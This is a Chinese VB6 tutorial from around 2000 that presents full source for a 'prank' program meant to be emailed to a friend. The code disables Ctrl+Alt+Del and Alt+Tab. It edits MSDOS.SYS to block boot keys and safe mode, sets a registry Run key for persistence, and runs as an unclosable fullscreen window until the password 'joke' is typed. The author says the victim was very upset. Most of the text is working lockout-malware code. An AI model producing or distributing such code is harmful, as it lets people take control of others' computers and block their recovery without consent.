VB==这个玩笑有点酷

发表于:2007-05-25来源:作者:点击数: 标签:玩笑有点这个
这个玩笑有点酷 2000-10-18· 不详·yesky 此程序演示怎样在 VB 中调用API修改注册表,让程序每次启动都会执行,运用shell函数,操做文本文件,屏蔽系统功能,做出一个能够修改系统的程序(当然能和你的朋友开个玩笑),并且用事件key_press接收密码来关闭程序
这个玩笑有点酷
2000-10-18· 不详·yesky

  此程序演示怎样在VB中调用API修改注册表,让程序每次启动都会执行,运用shell函数,操做文本文件,屏蔽系统功能,做出一个能够修改系统的程序(当然能和你的朋友开个玩笑),并且用事件key_press接收密码来关闭程序。

模块中声明:

’创建子键

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _
        (ByVal hKey As Long, ByVal lpSubKey As String, _
         phkResult As Long) As Long

’创建键值

Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
        (ByVal hKey As Long, ByVal lpValueName As String, _
         ByVal Reserved As Long, ByVal dwType As Long, _
         lpData As Any, ByVal cbData As Long) As Long

’调用API阻挡功能键

Public Declare Function SystemParametersInfo Lib "user32" Alias _
        "SystemParametersInfoA" (ByVal uAction As Long, _
         ByVal uParam As Long, ByRef lpvParam As Any, _
         ByVal fuWinIni As Long) As Long

’调用API控制shell进程

Public Declare Function GetExitCodeProcess Lib "kernel32" _
        (ByVal hprocess As Long, lpExitCode As Long) As Long

Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAclearcase/" target="_blank" >ccess As Long, _
        ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

窗体代码如下:

通用 声明

Dim a(3) As Integer
Const spl_screensaverrunning = 97
Const process_query_information = &H400
Const still_active = &H103
Dim hprocess As Long
Dim pad As Long
Dim code As Long

Const HKEY_local_machine = &H80000002
Const regkey = "software\microsoft\windows\currentversion\run"
Const keyvalue = "run.exe"

Dim retvalue As Long
Dim keyid As Long

Private Sub Form_Load()

’API调用阻挡"ctrl+alt+del","ctrl+esc","alt+tab"热键
SystemParametersInfo spl_screensaverrunning, True, ByVal 1&, 0

’因为SHELL的异步执行,外部程序还未完成任务,VB便往下执行,
’会造成文件访问错误,调用API函 数OpenProcess和GetExitCodeProcess
’解决问题,去掉MSDOS.SYS的只读,隐蔽属性

pad = Shell("attrib -h -s -r c:\msdos.sys /s", vbHide)
hprocess = OpenProcess(process_query_information, False, pad)
Do

GetExitCodeProcess hprocess, code
DoEvents

Loop While code = still_active
’修改MSDOS.SYS,给其中添加BOOTKEYS=0,让启动时功能键F5,F8,CTRL,SHIFT失效,
’用户不能进入safemode修改
Open "c:\msdos.sys " For Append As #1
Print #1, "bootkeys=0"
Close #1
Shell "attrib +h +s +r c:\msdos.sys /s", vbHide

End Sub

’修改注册表,在"software\microsoft\windows\currentversion\run" 下创建字符串值"RUN",
’值为"RUN.EXE",让每次启动都会执行
’retvalue = RegCreateKey(HKEY_local_machine, regkey, keyid)
’retvalue = RegSetValueEx(keyid, "run", 0&, 1, ByVal keyvalue, Len(keyvalue) + 1)
’接收密码的ASC码值,密码为joke

Private Sub Form_KeyPress(KeyAscii As Integer)

a(3) = a(2)
a(2) = a(1)
a(1) = a(0)
a(0) = KeyAscii
If a(0) = 101 And a(1) = 107 And a(2) = 111 And a(3) = 106 Then

End

End If

End Sub

’在窗体退出时使三组热键生效

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

SystemParametersInfo spl_screensaverrunning, False, ByVal 1&, 0

End Sub

  以上程序编译为RUN.EXE,在VB6中调试通过,你可以自行在窗体中加入文本框,并且把窗体属 性borderstyle改为0-none,windowstate改为2-maximized,就做出了一个关不掉的程序,并且每次 启动都会执行,我就是通过E-MAIL给朋友发送了这个程序,把朋友惹得非常生气,我在这里郑重的表示道歉,I’m so sorry,please forgive me,Madam you!

原文转自:http://www.ltesting.net